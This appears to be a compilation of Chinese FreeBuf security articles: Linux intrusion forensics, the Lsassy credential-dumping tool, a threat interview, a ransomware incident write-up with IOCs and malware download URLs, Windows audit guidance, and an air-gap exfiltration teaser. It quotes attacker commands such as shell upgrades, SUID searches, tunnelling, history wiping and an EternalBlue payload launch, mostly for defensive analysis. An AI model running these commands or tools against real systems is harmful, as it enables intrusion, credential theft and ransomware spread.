网上,关于入侵痕迹分析的文章很多,在此将个人工作中常用的一些方法技巧(班门弄斧了),以及爬过的坑总结如下(当然,其中有些方法也是从各位前辈的经验中学习的)。入侵痕迹分析,不外乎正向推理,和逆向推理。当已经掌握部分线索时,可通过逆向推理,快速确定事发时间、影响范围、事发原因等;当没有明确的线索,可以入侵者的视角,通过正向思维进行推理,从而发现入侵行为;两种方法都可以以敏感文件、敏感命令、敏感IP、攻击特征关键字为线索,推理出事发时间、事发原因。

 一、针对.bash_history的分析

在对日志进行例行安全分析时,对文件.bash_history的分析必不可少,该文件记录了命令执行历史记录,通过该文件,可以分析入侵者执行了哪些恶意操作(反弹shell、提权、信息收集、修改文件隐藏后门、添加后门账号、挖矿木马特喜欢的添加计划任务、以当前shell为跳板进行横向渗透、删除日志文件)。

入侵者获得的命令shell是哑shell时,为了提高交互性,可能会执行以下python语句反弹一个交互shell

python -c 'import pty; pty.spawn("/bin/bash")',

入侵者获得反弹shell后,可能会执行相关的提权命令,比如尝试suid提权时,可能会通过find命令,查找设置了SUID位的可执行文件,或者尝试sudo提权时,先检查当前账号是否具有sudo权限

find / -perm -u=s -type f 2>/dev/null
sudo -i 或者 sudo -l

入侵者提权后,可能会通过cat、more等命令查看配置文件,收集各种敏感信息,通过useradd或者adduser命令添加后门账号;但是这几个命令也是运维人员常用的命令,因此要配合命令执行的时间来进一步分析,而.bash_history文件中记录的时间是以unix时间戳形式记录,可以直接转换;或者直接修改passwd添加账号,因此当passwd和shadow这两个文件发生修改时,需要重点关注。

挖矿木马特喜欢添加计划任务,每次碰到挖矿木马,通过计划任务排查,一查一个准,添加计划任务的命令如下:

crontab -e

入侵者为了干扰排查,可能会修改后门文件的时间,比如通过如下命令:

touch -d 或者 touch -t

横向渗透方面,可能关闭iptables、进行端口扫描、搭建各种隧道等命令,比如使用nc或者nmap:

nc -z -v ip port          使用系统自带的nc进行端口扫描
ssh -CfNg                 搭建ssh隧道
ew -s                     使用ew搭建隧道
service iptables stop     关闭iptables

当然很多入侵者干脆通过命令清空命令历史记录,或者直接将整个.bash_history文件删除,但最后一条清除历史记录的命令或者删除文件的命令会保留下来

history -c
rm .bash_history

上面针对.bash_history文件,进行安全分析时,列举了一些个人认为比较敏感的特征,总之对.bash_history进行安全审计时,要对敏感命令、敏感工具持有敏锐的嗅觉

部分人员日常工作中,因执行的终端命令太多,通过上下方向键查找历史命令,不方便,于是习惯性的使用history -c清除,其实这对溯源工作带来了很大的阻力,因此不建议使用history -c清除。

二、日志分析

1、系统日志

入侵痕迹分析,肯定少不了各种日志的分析。secure记录的是包括登录相关的安全日志,cron记录的计划任务日志。安全日志和计划任务日志文件名可能后面会接日期(日志归档原因),因此为防遗漏,可以使用如下命令进行搜索

ls /var/log/cron*        
ls /var/log/secure*

当尝试ssh暴力破解溯源时,可用如下命令,指定用户,对IP进行快速排查;lastb命令能列出登录失败的记录,整条命令的作用就是找出对root用户进行暴力破解的ip,并以次数从大到小输出

lastb root | awk'{print $3}' | sort |uniq -c |sort -rn |more

筛选出可疑IP后,可以通过secure日志,验证是否有被爆破成功,如果定位了IP,事发时间也相应的能定位,接下来就可根据IP和时间,对相关日志进行溯源分析

cat /var/log/secure* | grep Accepted | grep ip

2、数据库日志        

有时候找不知道日志文件的存放目录,可以通过查看配置文件(如mysql的配置文件文件my.inf,tomcat的配置文件tomcat-user.xml)。mysql数据库日志分析时,账号暴力破解这种,可以参考ssh爆破的思路进行排查。当mysql版本是5.6以上时,可以尝试看下是否有执行过如下sql命令,

set global general_log = on       开启日志记录(当outfile、dumpfile无法导出shell时,可配合日志文件getshell)
set global general_log_file = ''  设置日志文件保存路径(通常保存到web目录)

有时候通过mysql进行udf提权,可直接通过sql语句查看,添加了什么函数

select * from mysql.func

附带提一下:mssql的日志,可通过xp_cmdshell这个关键字,进行排查;因为当获取的数据权限为sa时,可利用xp_cmdshell进行提权操作;oracle日志,因为oracle数据库的特性,可以自定义函数,这个给入侵者提权带来了便利,因此对oracle数据库进行溯源时,可执行以下sql语句进行排查:

select * from USER_OBJECTS where OBJECT_TYPE = 'FUNCTION'     #排查自定义的函数
select * from USER_PROCEDURES                                 #排查用户自定义的资源,包括函数和对象
select * from USER_SOURCE where NAME = 'GETSHELL'             #获取前面排查出来的可疑对象的源代码

3、web应用日志         

关于web应用日志,像acc、中间件日志。当发生安全应急事件时,像后台暴力破解,同样可以参考ssh账号暴力破解的排查思路,进行快速排查。当入侵者使用其他手段时,一样可以先分析acc日志,将可疑IP筛选出来,筛选出IP后,再配合响应状态码,比如配合200状态码,分析入侵者成功访问了哪些地址,通过这个可以说不定可以发现webshell,当然很多系统都有自定义的报错页面,此时的状态码也是200;配合302,发现跳转到后台的日志;配合500,发现java反序列化攻击记录。总之要根据应用系统的实际情况,实际分析。

或者使用各种攻击特征,对日志进行快速排查,比如常见的sql注入攻击,使用select关键字;xss攻击,使用script关键字;任意文件读取、包含、下载,使用目录跳转特征“../”;也可根据当前系统用到的中间件如weblogic、fastjson,当前或以往出现的高危漏洞,进行快速排查;如weblogic可通过wls-wsat/CoordinatorPortType,fastjson可通过JdbcRowSetImpl等关键字进行快速排查。

其他特征包括:常用webshell文件名如菜刀、蚁剑、冰蝎等;部分工具user-agent有明显的特征,如awvs。对这些特征都有保持敏锐的嗅觉。

web应用日志分析,怎么少的的时下很火的业务风控安全,薅羊毛。这种行为都发生在特定的某个url地址,因此可以针对特定的url地址,快速筛选出IP,筛选出的IP肯定很多,同样先进行排序,但是时下的羊毛党也是很聪明且舍得投入,IP地址频繁切换,因此推荐对网段进行筛选,此外如果IP是云IP、国外IP(这得根据业务进行排查),再者就是IP访问时间异常,如下半夜。

三、流量进程分析

当日志分析,未排查出有价值的线索时,则从流量进程方向分析,也不失为另一个突破口;先使用netstat命令查看端口信息,ps查看进程信息,lsof查看进程和端口关联情况。

lsof -i :port            可用于检查那个进程使用了特定的端口
lsof -p pid              检查pid进程调用情况
strace -f -p pid         跟踪分析pid进程,可发现库文件劫持

查找隐藏进程

ps -ef | awk'{print $2}'|sort -n| uniq > tasklist1.txt
ls /proc | sort -n | uniq > tasklist2.txt
diff tasklist1.txt tasklist2.txt

流量分析,肯定会碰到wireshark和tcpdump这两款工具,网上都有详细的使用教程,不在此赘述。

四、隐藏后门排查

隐藏后门排查,可能会碰到库文件劫持,关于库文件劫持溯源,已有同学做了很详细的总结(学习了,多谢),地址是应急响应系列之Linux库文件劫持技术分析

另外可以使用diff命令,将整个web目录和备份目录进行对比,排查出被修改的文件

diff -urNA webdir webdir_bak

也可以使用find命令配合mtime、ctime参数,搜索事发时间时间段,指定格式的被修改文件

find /var/www/html -mtime +0 "*.jsp"       搜索web目录下24小时内被修改的jsp文件

部分计划任务可能会存在/var/spool/cron和/etc/cron.d目录下,并且部分日志并不是root添加的,而是其他具备root权限的用户添加的,可使用如下命令,查看指定用户的计划任务

crontab -l -u username

启动项排查

cat /etc/rc.local            排查rc.local文件中添加的启动项命令
ls /etc/init.d               排查init.d目录下添加的自启动脚本
ls /etc/profile.d            排查profile.d目录下添加的自启动脚本
chkconfig --list             centos系统列出自启动项

隐藏后门排查,肯定也有相关的工具可借助,如D盾、rkhunter、chkrootkit等。

五、后门处理

后门处理,有一个要注意的点是,需要做好备份,不能一股脑的直接删除,因为如果是在系统或应用的文件中插入恶意后门代码,直接删除,可能导致系统瘫痪。建议从备份或者官网下载,进行替换。有些后门文件,即便停掉了相关进程,仍然无法删除,可用chattr命令去除相关标识后再删除。

chattr -ia shell

六、其他

日志分析前,要确认日志记录时间使用是格林尼治时间,还是我们常用的东八区时间,否则会给入侵痕迹分析带来很大的误导。一定要保护好日志,根据网络安全法的要求来就行,否则巧妇难为无米之炊。

*本文原创作者:freebuf01,本文属于FreeBuf原创奖励计划,未经许可禁止转载

今天,我们将跟大家介绍Lsassy这款功能强大的工具,广大研究人员可以利用Lsassy来从目标设备的lsass中远程提取出用户凭证。

lsass介绍

lsass.exe是一个系统重要进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。如果结束该进程,会出现不可知的错误。但是,lsass.exe也有可能是Windang.worm、irc.ratsou.b、Webus.B、MyDoom.L、Randex.AR、Nimos.worm等病毒创建的,病毒通过软盘、群发邮件和P2P文件共享进行传播。

Lsassy

Lsassy是一个Python库,它可以批量从目标主机中远程提取用户凭证。这个Python库使用了impacket项目来从lsass导出数据中远程读取所需要的字节内容,并使用了pypykatz来提取用户凭证。

工具要求

Python >= 3.6

netaddr

pypykatz>= 0.3.0

Impacket

工具安装

使用pip进行安装:

python3.7 -m pip install lsassy

使用源码安装:

python3.7 setup.py install

CrackMapExec模块

本项目中的CrackMapExec模块可以使用Lsassy来从受感染的主机中提取用户凭证。

CrackMapExec模块位于cme目录中:CME Module

CrackMapExec模块允许我们自动化实现整个提取过程,并且直接将目标用户的登陆凭证显示在Lsassy的输出结果中。除此之外,它还可以帮助我们根据攻击路径来检测用户账号,并提权为域管理员账号。

工具机制

Lsassy使用了三种不同的方法来从lsass中导出用户凭证:

1、使用了comsvcs.dll这个DLL以及rundll32.exe可执行程序,这种方法只会使用内置的Windows工具。

2、使用了procdump.exe。如果使用了这种方法,procdump.exe则需要从攻击者的主机上传至目标用户的主机,并远程执行该程序。

3、使用了dumpert.exe。如果使用了这种方法,dumpert.exe则需要从攻击者的主机上传至目标用户的主机,并远程执行该程序。

工具运行截图

项目地址

Lsassy:【GitHub传送门

参考资料

1、https://en.hackndo.com/remote-lsass-dump-passwords/

2、https://github.com/SecureAuthCorp/impacket

3、https://github.com/skelsec/pypykatz

4、https://github.com/Hackndo/lsassy/wiki

5、https://github.com/Hackndo/lsassy/tree/master/cme

6、https://twitter.com/mpgn_x64

* 参考来源:Hackndo,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

过去5年中,网络安全威胁格局如何演变?eSentire看到了哪些不明显的威胁?

black-markets.jpg

在过去的五年,我们在认识网络犯罪方面取得了长足的进步,但网络组织和民族国家所构成的威胁也在日益增加。

过去的攻击通常在战略上是不成熟的,不协调的,属于机会主义,譬如勒索软件攻击。攻击使用了冒充流媒体服务、银行机构或旅行社的普通网络钓鱼诱饵,这些粗犷的犯罪网络是由罪犯、集团造成的,就像漂浮在海洋上的塑料垃圾一样,它扰乱了生态系统的各个层面,从个人到银行,律师事务所和医院都为之所害。而不管受骗方是谁,赎金支付都是固定利率交易费,并不反映受害人的资金情况。

但是,混乱中出现了秩序。有犯罪集团开始认识到,网络犯罪比传统的实体犯罪更有利可图,危险性更小。这不仅导致了系统性的敲诈勒索,也导致了其更加针对有利可图的目标,比如担心名誉受损的律师事务所,或者害怕业务中断和病人护理受影响的医院。同时,赎金进入了五位数和六位数的范围。

这时候,工具开始出现在民间黑市。恶意软件和像Emotet这样的传递机制已经不是商品了,他们甚至为其他威胁行为者提供恶意软件交付服务。这反映了这样一个事实:犯罪集团在利用财富500强企业进行经营,在市场上建立起很好的有效载荷传输机制,就像一个企业一样运营。这也可以理解为网络工具的商品化。商品化意味着增长,低成本则打开了市场机会。

现在,民族国家正在重新校准雷达,公司发现自己成为贸易战中受损的一部分,各国利用网络博弈来试图平衡经济影响。

网络犯罪组织使用最多的攻击方法是什么?哪种类型的组织风险最大?

没有人能免受网络攻击。但是特定的行业继续在网络犯罪领域里占据上风。虽然银行曾经是将利润联系起来的载体(银行是人们存钱的地方),但现在,犯罪分子正在把其他行业也看作是一场巨大的棋盘。

尽管攻击手段越来越复杂,但更重要的是了解他们的攻击目标。他们明白是什么在驱动一个企业,是什么让他们夜不能寐,是什么让他们按下钓鱼链接。因此,犯罪分子使用网络钓鱼诱饵,经常通过攻击目标自己公司的工具来对付他们,比如利用受信任的供应商,或利用嵌入式工具(如远程管理协议)来提供对关键网络操作的分散访问。

最值得注意的是医院和医疗机构。它们向公众开放,容易受到攻击,并且很难防御。随着物联网以连接医疗图像、静脉注射和患者监测系统的形式渗透到医疗领域,医院将轻松成为目标。

他们很脆弱,不管是担心业务中断、停机时间会影响患者的护理,在医院和医疗机构,攻击关于患者的生死。因此,这些机构愿意付出代价,以避免普遍的勒索软件攻击造成的系统长期关闭。对于犯罪分子来说,病历同样很有价值,可以用来欺骗保险公司。此外,犯罪分子知道,发生数据泄露时,医院也会支付巨额罚款。因此,医院会轻易支付赎金,避免停机,患者账单丢失和监管隐私罚款。

律师事务所和其他商业服务机构(会计,市场营销,咨询等)拥有无与伦比的关键信息访问权限,现在也成为犯罪分子的主要攻击目标。律师事务所控制财务信息,知识产权和其他形式的有价值信息。他们更在意自己的声誉,并担心受到公众攻击的影响。因此,他们会支付赎金。

制造企业则成为数十亿美元欺诈性帐单的受害者。在一个案例中,一家公司面临着以数百万美元的成本关闭一条受感染的生产线的困境。当时董事会决定等待预定的维护时段,但承受了由此引发的网络攻击的后果。

此外,我们在教育,媒体、娱乐以及其他领域里同样看到了攻击的情况。一旦发现水坑,所有食肉动物就知道它们的猎物会聚集在那里。

对想要制定长期风险管理策略的CISO的建议

安全不再是1和0的问题。这不是一个需要解决的It问题,而是需要管理的商业风险问题。

CISO在业务目标设定过程中应该考虑到第0步。这个地理市场有风险吗?这个客户会引起政治关注吗?住房医疗信息是否增加了我们的义务?这些都是需要解决的业务问题,而不是简单地用另一个防火墙或更多用户意识培训来解决的IT问题。

此外,CISO必须成为法律团体的一部分,并平等分担风险责任。安全需要与业务目标保持一致,并和指导委员会制定明确的目标。同时,必须以业务人员可以理解的术语来描述风险。CISO既然知道风险,就要将风险传递给董事会和高管,让他们了解与网络安全有关的义务。

对2020年的预测

攻击将继续朝着高回报,键盘式攻击的方向发展。这意味着旨在阻止恶意软件和凭据收集工具的普通安全控件无法应对这些策略。企业需要投资安全专家,让他们与犯罪分子对抗,并捍卫安全堡垒。

灰色犯罪也将继续发展壮大。用来影响公众思想和选举的策略会被用于改变公司的企业价值。犯罪分子可以编造故事,然后通过社交网络传递这些故事(虚假信息)以此正面或负面地影响股票价值,再利用内幕信息买卖股票以“抢先”交易。与盗窃专有信息相比,这将更难被发现,更难被制止。

*参考来源:helpnetsecurity,kirazhou编译整理,转载请注明来自 FreeBuf.COM。

前言

在疫情期间,印度缺德黑客实施的APT攻击传的沸沸扬扬。我反手一个死亡之PING给印度。

与此同时,团队的小伙伴在月初就开始进行公益性质的勒索病毒协助。

在处理过程中,尽可能的保护未被污染的文件,已加密的文件解密起来难度相当大。

大家都明白新变种的病毒,很少有现成解密方式。

下文以某中招5ss5c勒索事件处理为例

公开勒索解密常用方法

https://github.com/jiansiting/Decryption-Tools

https://www.nomoreransom.org/

https://lesuobingdu.360.cn/

我们遭受的Satan,DBGer和Lucky勒索病毒以及iron勒索病毒的网络犯罪组织提出了一个新版本名为“ 5ss5c”。

该病毒类似Satan为木马下载器,它下载并利用永恒之蓝和一些poc来进行传播,勒索模块就是cpt.exe,遍历7z,bak,cer,csv,db,dbf,dmp,docx,eps,ldf,mdb,mdf,myd,myi,ora,pdf,pem,pfx,ppt,pptx,psd,rar,rtf,sql,tar, txt,vdi,vmdk,vmx,xls,xlsx,zip后缀名的文件然后加密,加密后添加后缀为.5ss5c,并提示勒索勒索一个比特币(5W多),如果在2天之内没有完成支付,则赎金翻倍。

技术求助

Satan勒索病毒变种5ss5c勒索病毒

1.某安全公司QQ求助

2.某安全公司论坛求助

3.某公众号求助

4.某渠道-解密价格比勒索价格更高(提供了某样本文件并成功解密)

渗透测试

回到开始,一个朋友说网站异常,让帮忙看一下。当时未被勒索,简单测试给定资产范围的所有端口,未拿到shell,但是在此同时发现包含泛微OA,尝试了该应用的多个漏洞并没有结果,所以只是给客户做了一个警告。

部分测试截图如下图

等到后面应急处置的过程中客户恢复备份服务器,才发现存在泛微OA E-cology远程命令执行漏洞且没有修复,被恶意利用之后,该页面被删除,所以导致一开始没有成功getshell。当然这是后话,暂且不谈。

查看受害主机

同事到现场后对入侵的主机进行排查,发现服务器上利用IPC横向移动日志,同时被入侵主机会存在以下内容。

被加密文件猴后缀变为5ss5c,并留下如何解密我的文件。

在某日志中截获到初始的勒索病毒文件

利用certutil下载恶意文件,还留下了certutil的日志记录

该文件被投放到C:\ProgramData\ poc .exe,并运行以下命令:

cd /D C:\ProgramData&star.exe –OutConfig a –TargetPort 445 –Protocol SMB –Architecture x64 –Function RunDLL –DllPayload C:\ProgramData\down64.dll –TargetIp

扔到沙箱上的运行截图

分析发现其释放了4个文件

mmkt.exe一个用于密码转储/窃取的程序

c.exe建立服务和自启动

cpt.exe勒索软件

poc.exe 一个使用Enigma VirtualBox打包一个附加的扩展器模块

该恶意程序专门做了针对于360的免杀,同时还对自身增加反编译。

主要加密文件类型如下

7z,bak,cer,csv,db,dbf,dmp,docx,eps,ldf,mdb,mdf,myd,myi,ora,pdf,pem,pfx,ppt,pptx,psd,rar,rtf,sql,tar, txt,vdi,vmdk,vmx,xls,xlsx,zip

样本脱壳

用PEID查询是否有壳。

手动拖壳:利用ESP定律,原理堆栈平衡原理。

适用范围:几乎全部的压缩壳,部分加密壳。

只要是在JMP到OEP后,理论上我们都可以使用。

ESP理解一般理解可以为:

1、在命令行下断hr esp-4(此时的ESP就是OD载入后当前显示的值)

2、hr ESP(关键标志下一行代码所指示的ESP值(单步通过))

一样用od载入要脱壳的程序,加载后看到关键字:pushad

单步步过(快捷键F8)一次

就ESP显示为红色, 鼠标左键选择ESP区域,失去被其它颜色覆盖,判断为被选定状态

鼠标右键选择:数据窗口中跟随。

判断是否选择正确:

看地址区域:是否等于ESP 后面的字符串:地址判断相等,则无错

这里的第一个字节为00

鼠标右键选择:断点-硬件访问-Byte

点击:调试 选择硬件断点

这里多次尝试后找到push,删除断点

在选择PUSH 行的情况下,右键选择用OllyDump脱壳调试进程

ida即可查看代码。

IOC

Name: down.txt

URL:http://58.221.158[.]90:88/car/down.txt

Purpose: Downloader

MD5: 680d9c8bb70e38d3727753430c655699

SHA1: 5e72192360bbe436a3f4048717320409fb1a8009

SHA256: ddfd1d60ffea333a1565b0707a7adca601dafdd7ec29c61d622732117416545f

Compilation timestamp: 2020-01-11 19:04:24

VirusTotal report:

ddfd1d60ffea333a1565b0707a7adca601dafdd7ec29c61d622732117416545f

Name: c.dat

URL:http://58.221.158[.]90:88/car/c.dat

Purpose: spreader

MD5: 01a9b1f9a9db526a54a64e39a605dd30

SHA1: a436e3f5a9ee5e88671823b43fa77ed871c1475b

SHA256: 9a1365c42f4aca3e9c1c5dcf38b967b73ab56e4af0b4a4380af7e2bf185478bc

Compilation timestamp: 2020-01-11 19:19:54

VirusTotal report:

9a1365c42f4aca3e9c1c5dcf38b967b73ab56e4af0b4a4380af7e2bf185478bc

Name: cpt.dat

URL:http://58.221.158[.]90:88/car/cpt.dat

Purpose: ransomware

MD5: 853358339279b590fb1c40c3dc0cdb72

SHA1: 84825801eac21a8d6eb060ddd8a0cd902dcead25

SHA256: ca154fa6ff0d1ebc786b4ea89cefae022e05497d095c2391331f24113aa31e3c

Compilation timestamp: 2020-01-11 19:54:25

VirusTotal report:

ca154fa6ff0d1ebc786b4ea89cefae022e05497d095c2391331f24113aa31e3c

类型 特征
文件 C:\ Program Files \ Common Files \ System \ Scanlog
文件 C:\ Program Files \ Common Files \ System \ cpt.exe
文件 C:\ Program Files \ Common Files \ System \ tmp
文件 C:\ ProgramData \ 5ss5c_token
文件 C:\ ProgramData \ blue.exe
文件 C:\ ProgramData \ blue.fb
文件 C:\ ProgramData \ blue.xml
文件 C:\ ProgramData \ down64.dll
文件 C:\ ProgramData \ mmkt.exe
文件 C:\ ProgramData \ poc.exe
文件 C:\ ProgramData \ star.exe
文件 C:\ ProgramData \ star.fb
文件 C:\ ProgramData \ star.xml
注册表项 SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run \ 5ss5cStart
命令 C:\ Windows \ system32 \ cmd.exe / c cd /DC:\ProgramData&blue.exe –TargetIp
命令 star.exe –OutConfig a –TargetPort 445 –协议SMB –架构x64 –功能RunDLL –DllPayload C:\ ProgramData \ down64.dll –TargetIp
关联对象 SSSS_Scan
关联对象 5ss5c_CRYPT
电子邮件 [email protected]
网址 http://58.221.158.90:88/car/down.txt
网址 http://58.221.158.90:88/car/c.dat
网址 http://58.221.158.90:88/car/cpt.dat
恶意IP 58.221.158.90
恶意IP 61.186.243.2
Hash 82ed3f4eb05b76691b408512767198274e6e308e8d5230ada90611ca18af046d
hash dc3103fb21f674386b01e1122bb910a09f2226b1331dd549cbc346d8e70d02df
hash 9a1365c42f4aca3e9c1c5dcf38b967b73ab56e4af0b4a4380af7e2bf185478bc
hash af041f6ac90b07927696bc61e08a31a210e265a997a62cf732f7d3f5c102f1da
hash ca154fa6ff0d1ebc786b4ea89cefae022e05497d095c2391331f24113aa31e3c
hash e685aafc201f851a47bc926dd39fb12f4bc920f310200869ce0716c41ad92198
hash e5bb194413170d111685da51***d2fd60483fc7bebc70b1c6cb909ef6c6dd4a9
hash ddfd1d60ffea333a1565b0707a7adca601dafdd7ec29c61d622732117416545f
hash ef90dcc647e50c2378122f92fba4261f6eaa24b029cfa444289198fb0203e067
hash 47fa9c298b904d66a5eb92c67dee602198259d366ef4f078a8365beefb9fdc95
hash 68e644aac112fe3bbf4e87858f58c75426fd5fda93f194482af1721bc47f1cd7
hash ea7caa08e115dbb438e29da46b47f54c62c29697617bae44464a9b63d9bddf18
hash 23205bf9c36bbd56189e3f430c25db2a27eb089906b173601cd42c66a25829a7
hash a46481cdb4a9fc1dbdcccc49c3deadbf18c7b9f274a0eb5fdf73766a03f19a7f
hash cf33a92a05ba3c807447a5f6b7e45577ed53174699241da360876d4f4a2eb2de
hash 8e348105cde49cad8bfbe0acca0da67990289e108799c88805023888ead74300
hash ad3c0b153d5b5ba4627daa89cd2adbb18ee5831cb67feeb7394c51ebc1660f41
hash de3c5fc97aecb93890b5432b389e047f460b271963fe965a3f26cb1b978f0eac
hash bd291522025110f58a4493fad0395baec913bd46b1d3fa98f1f309ce3d02f179
hash 75d543aaf9583b78de645f13e0efd8f826ff7bcf17ea680ca97a3cf9d552fc1f
hash 50e771386ae200b46a26947665fc72a2a330add348a3c75529f6883df48c2e39
hash 0aa4b54e9671cb83433550f1d7950d3453ba8b52d8546c9f3faf115fa9baad7e
hash 5d12b1fc6627b0a0df0680d6556e782b8ae9270135457a81fe4edbbccc0f3552

参考:

https://www.freebuf.com/articles/network/178171.html

https://securityaffairs.co/wordpress/96452/malware/5ss5c-ransomware.html

一、说明

本篇文章主要说一说windows系统中安全审计的控制点的相关内容和理解。

二、测评项

a)应启用安全审计功能,审计覆盖到每个用户,对重要的用户行为和重要安全事件进行审计; 

b)审计记录应包括事件的日期和时间、用户、事件类型、事件是否成功及其他与审计相关的信息;

c)应对审计记录进行保护,定期备份,避免受到未预期的删除、修改或覆盖等;

d)应对审计进程进行保护,防止未经授权的中断。

三、测评项a

a)应启用安全审计功能,审计覆盖到每个用户,对重要的用户行为和重要安全事件进行审计;

对于windows而言,在服务器管理器或事件查看器或计算机管理中都可以查看到审计日志的具体内容以及一些策略:

分别可以在运行框中输入CompMgmtLauncher、eventvwr、compmgmt.msc打开。

按照测评要求里的内容,该测评项存在三个递进的要求:

首先默认状况下,日志审计功能都是开启的,因为Windows Event Log服务器都是默认开启的,而且一般情况下也关不掉(所以一般情况下开启安全审计功能这个要求是符合的):

不过网上说将日志文件夹的权限全部去掉,系统也无法记录日志,一般没人这么干:

对于第2个要求,也就是是否覆盖到每个用户,在默认状况下是否符合就不好说的。

至于第3个要求,对重要的用户行为和重要安全事件进行审计,肯定就不符合了,因为默认的审核策略都是未开启:

对于审核策略中应该开启哪些策略,初级教程说得挺明白的,我就直接截图了:

四、测评项b

b)审计记录应包括事件的日期和时间、用户、事件类型、事件是否成功及其他与审计相关的信息;

对于这个测评项,其主旨是审计的内容应至少包含事件的日期、时间,涉及事件的主体、客体,事件的结果以及事件的内容这些信息,以便用于在发生安全事件时进行追溯。

4.1. 时间信息

这里第一个要注意的就是日期和时间,如果服务器是联网的,那么可以自己通过网络进行时间同步,时间的准确性不成问题:

但是如果服务器本身不联网,本机上时间的是否准确就不能保证,也就无法保证事件中日期、时间等信息的准确性。

所以对于局域网内的服务器,可以设置一台ntp服务器,该ntp服务器对外联网,其余服务器的时间与这台服务器的时间进行同步,以该ntp服务器的时间为准。

具体ntp服务器如何设置,百度上有:https://jingyan.baidu.com/article/b0b63dbf5d84334a483070fa.html

最后,设置完ntp服务器后,在internet时间设置中将服务器的ip改为ntp服务器的ip即可:

4.2. 其余信息

其余信息的话,windows的审计记录是包括要求字段的,理论上默认就符合该测评项。

但是我个人理解有些测评项是递进的,对于安全审计控制点而言,如果审计功能没有开启,或者开启了但是没有达到审计覆盖到每个用户,对重要的用户行为和重要安全事件进行审计的要求。

那么这个地方就不应该给符合的结论,顶多只能给部分符合。

另外插一句嘴,在写测评记录表的时候,要按照实际情况来写,而不是直接复制测评项中的文字。

比如windows的安全审计的测评项b,要写就写实际的审计记录中包含的字段,如级别、用户、记录时间等。而不是去直接复制测评项中的内容,比如事件的日期和时间、用户、事件类型等。

五、测评项c

应对审计记录进行保护,定期备份,避免受到未预期的删除、修改或覆盖等;

5.1. 日志的内容

windows中的日志一般我们比较关注应用程序日志、安全日志、系统日志(其中最重要的是安全日志),其包含内容为:

5.2. 文件权限

这里首先应该是查看审计记录文件的权限,是否会被未授权用户删除。

windows中的日志一般我们比较关注应用程序日志、安全日志、系统日志(其中最重要的是安全日志),其存储文件分别是:

这三个文件的权限,在windows2008 r2中默认为:

三个文件的所有者均为:LOCAL SERVICE

每个文件的权限拥有者eventlog是啥我也不很清楚,应该是Windows里的一个内置安全体。

也就是从默认情况来看,只有隶属于administrators组的用户才拥有直接对文件进行删除的权限。

5.3. 事件查看器的权限

另外,在事件查看器中可以直接清空日志,对于一个隶属于users的普通用户而言,在事件查看器中,安全日志看都看不了,其余的日志可看,但均不可操作:

对于任何一个日志,都无权进行清空以及属性设置:

将该普通用户添加到event log reader组后,可以查看安全日志了,但对于所有日志仍然不能操作:

如果给该普通用户加上管理审核和安全日志的权限,则仅对于安全日志则具备清除日志的权限,其他权限仍然不具备:

如果给该普通用户加上生成安全审核的权限,则权限方面没啥变化:

5.4. 避免受到未预期的删除、修改或覆盖

从文件权限和事件查看器的权限来看,拥有管理审核和安全日志的权限,则可以在事件查看器中清除安全日志。

而隶属于administrators组的用户,则可以直接删除日志文件,以及在事件查看器中清除任何日志,以及设置日志的存储策略。

至于administrators组在事件查看器中的权限是在哪设置的,我不知道,哪位知道可以告诉我……

因为就算在管理审核和安全日志的权限中移除掉administrators组(该权限默认赋予给administrators组的),administrators组的权限仍然没有变化……

对于日志的存储策略,默认都是如下图所设置:

一是按需要覆盖事件(旧事件优先)。也就是说,当日志文件达到上限时,会把一些旧的日志文件记录删除掉,以存储新的日志信息

二是日志满时将其存档,不覆盖事件。这个选项是2003操作系统中没有的,在Windows7操作系统中新增加的选项。如果选择了这个选项,那么到日志文件的大小达到上限时,操作系统不会覆盖原有的日志记录。而是先把旧的日志记录进行存档,然后再利用新的日志信息来覆盖旧的日志信息。

三是不覆盖事件。当日志文件达到上限值之后,系统不会继续记录新的事件信息。需要系统管理员手工清楚日志文件后,系统才会记录记录日志信息。

所以,日志大小应该按照被测评单位的实际需求进行设置,太小肯定是不符合的,而存储策略应该选第一项或者第二项,第三项可能会导致系统无法保存最新的记录。

5.5. 定期备份

对日志进行定期备份就不用多说了吧?

无论是自己手动去拷贝,或者将日志推送到日志综合审计平台等第三方系统或者备份一体机等备份工具去备份,都可以。

六、测评项d

应对审计进程进行保护,防止未经授权的中断。

这里实际上在测评项a那一部分说过了,默认就是开启的,Windows Event Log服务无法在一般情况下关闭。

顶多就是在存储策略下动手脚,比如去除掉日志文件的所有权限,亦或者在事件查看器中对日志的存储策略进行设置,比如将日志最大大小设置为极小等。

否则,这一项理论上默认满足,但是我觉得测评项的要求是递进的,前面的测评项不符合的话,这个顶多给部分符合吧(个人理解)。

七、日志综合审计系统

日志审计系统有两种:

一种是将各个设备(操作系统、网络设备等)的日志都推送到这个系统当中,一般都是syslog协议。

如果是这种,那么关于安全审计控制点中的所有测评项,还是要以windows上自己的策略设置为准,因为这个系统做的仅仅是将各个设备的日志抓取过来,如果windows本身没有开启安全审计或者审计策略未设置,那么该系统也没啥用,该没有就是没有。

另外一种是基于流量解析的审计,通过解析网络流量中的信息,进行事件记录,这种最常见的是各种数据库日志审计系统。但是对于操作系统特别是windows系统存不存在这种,我不知道。

对于linux系统,你操作的时候主要靠各种命令,那么对这些命令进行审计存在可能。

对于各类数据库,你也要用各类sql语句来进行交互,对于这些语句进行审计也是可能的。

但是对于windows系统,基本上都是图形化界面,顶多我输入账户、口令的时候能审计下,其余操作如果全用鼠标点击,这是没办法通过解析来进行审计的。

不过换一种设备的话,像很多堡垒机都存在录像功能,直接将windows的操作进行录像化保存,这种算不算日志审计,我也不清楚,看具体情况吧。

*本文原创作者:起于凡而非于凡,本文属于FreeBuf原创奖励计划,未经许可禁止转载

据The Hacker News分享的一项最新网络安全研究表明,黑客只要简单地改变屏幕亮度就可以从计算机窃取敏感信息,听起来这似乎是一件不可思议的事,然而,却真实存在。

b5389c461705494cb12b0f273e4de2bc.jpeg

近年来,几位网络安全研究人员提出一种窃取数据的新方法,即在气隙系统计算机中窃取数据,这种系统将电脑与互联网以及任何连接到互联网上的电脑进行隔离,简单来说就是非联网计算机。

目前,这种技术的使用范围仅限于要求高度安全的数据获取过程,例如军事机密网络、零售商处理信用卡和借记卡的支付网络,以及工业控制系统中的关键基础设施运营,另外还有不少记者会用其来保护敏感数据。

